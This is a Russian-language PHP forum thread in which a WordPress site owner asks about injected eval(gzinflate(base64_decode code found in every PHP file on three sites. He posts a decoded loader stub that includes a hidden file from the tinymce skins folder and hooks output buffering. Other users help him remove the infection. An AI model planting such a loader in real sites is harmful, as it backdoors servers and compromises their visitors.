За последние 24 часа нас посетили 62909 программистов и 1743 робота. Сейчас ищет 981 программист ...

Все файлы PHP с кодом eval(gzinflate(base64_decode

Тема в разделе "Вопросы от блондинок", создана пользователем oldpepper, 12 июл 2011.

  1. oldpepper

    oldpepper Активный пользователь

    С нами с:
    12 июл 2011
    Сообщения:
    6
    Симпатии:
    0
    Впервые за три года работы со своими сайтами на Вордпресс столкнулся с проблемой, хотел бы получить консультацию от специалистов, знающих PHP не так как я :)
    Вся директория, начиная от папки public_html, все файлы PHP в этой директории (и в подпапках до самого конца) я сегодня увидел добавленный вначале каждого файла шифрованный код с таким началом:
    eval(gzinflate(base64_decode
    Нашел онлайн-декодер, где открыл парочку шифрованных кодов, один из таких кодов выкладываю на обозрение:
    Код (Text):
    1.  
    2. /*lvjgfonuiqqzyvohgbltvnbvuftgbefhmttddezzrxfojvnyzk*/ if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/bestword/domains/bestwordpress.org.ua/public_html/test2/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/15b.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}
    Все шифрованные имеют разные варианты кода, но в расшифровке все выглядят так, как я вставил выше.
    Хотел бы услышать от специалистов - что у меня за "срань" появилась на трех сайтах, которые "хостятся" на одном хостинге.
    Сайты на Wordpress. Версия Wordpress от 3.0 и выше.
    Спасибо заранее.
     
  2. antonn

    antonn Активный пользователь

    С нами с:
    10 июн 2007
    Сообщения:
    2.996
    Симпатии:
    0
    какая-то срань, доступом по ftp пользуешься? выкинь
    может в самом вордпрессе какая уязвимость есть
     
  3. oldpepper

    oldpepper Активный пользователь

    С нами с:
    12 июл 2011
    Сообщения:
    6
    Симпатии:
    0
    FTP пользуюсь постоянно, знаю, что лучше перейти на CCH
    Все-таки интересно, что эта функция означает?
    Пытался своим умом - мозг кипит :)
     
  4. Gromo

    Gromo Активный пользователь

    С нами с:
    24 май 2010
    Сообщения:
    2.786
    Симпатии:
    2
    Адрес:
    Ташкент
    oldpepper
    посмотри что содержится в файле
     
  5. oldpepper

    oldpepper Активный пользователь

    С нами с:
    12 июл 2011
    Сообщения:
    6
    Симпатии:
    0
    Этот файл полностью кодированный, и он - не из комплекта инсталляции Wordpress, похоже, что именно он "отдает" команды, шифр большой, открыл через онлайн-декодер но сложно понять, что он там "командует"
     
  6. Gromo

    Gromo Активный пользователь

    С нами с:
    24 май 2010
    Сообщения:
    2.786
    Симпатии:
    2
    Адрес:
    Ташкент
    oldpepper
    это и есть тот самый файл-вредитель. достаточно его удалить и больше не создавать. и вообще запретить к нему доступ средствами файловой системы для всех пользователй
     
  7. oldpepper

    oldpepper Активный пользователь

    С нами с:
    12 июл 2011
    Сообщения:
    6
    Симпатии:
    0
    Что делать с остальными PHP-файлами, в которых добавлен шифрованный код? Их прилично, руками не удалить, надо переустанавливать Вордпресс и все плагины.
    Что посоветуете?
     
  8. Gromo

    Gromo Активный пользователь

    С нами с:
    24 май 2010
    Сообщения:
    2.786
    Симпатии:
    2
    Адрес:
    Ташкент
    oldpepper
    ничего. судя по всему даже если файла нет, то всё будет работать норм. так что не переживай :)
     
  9. oldpepper

    oldpepper Активный пользователь

    С нами с:
    12 июл 2011
    Сообщения:
    6
    Симпатии:
    0
    Спасибо, у меня пару дней "тормозил" один из сайтов.
    Я удалил этот файл и сразу все заработало нормально.
    В любом случае, буду потихоньку все переустанавливать, но уже сейчас вижу, что проблема найдена.
    Последний вопрос: как файл мог туда попасть? Где "дырку" искать? Хотел бы услышать варианты.
    CHMOD стоял как надо везде.
    Причем пострадало три сайта на разных серверах.
    FTP?
    Или что-то другое?
     
  10. Gromo

    Gromo Активный пользователь

    С нами с:
    24 май 2010
    Сообщения:
    2.786
    Симпатии:
    2
    Адрес:
    Ташкент
    oldpepper
    неизвестно. советую везде сменить пароли. и не факт, что заражены были только эти сайты. возможно кто-то заразил весь хостинг-сервера и все сайты на них.
     
  11. oldpepper

    oldpepper Активный пользователь

    С нами с:
    12 июл 2011
    Сообщения:
    6
    Симпатии:
    0
    Gromo, спасибо, реально помог.
     
  12. stalker7438

    stalker7438 Новичок

    С нами с:
    14 июн 2013
    Сообщения:
    1
    Симпатии:
    0
  13. [vs]

    [vs] Суперстар
    Команда форума Модератор

    С нами с:
    27 сен 2007
    Сообщения:
    10.559
    Симпатии:
    632
    Можно перебрать все файлы и вырезать регуляркой этот код. Ничего не сломается, делал на сайте с тысячами файлов =)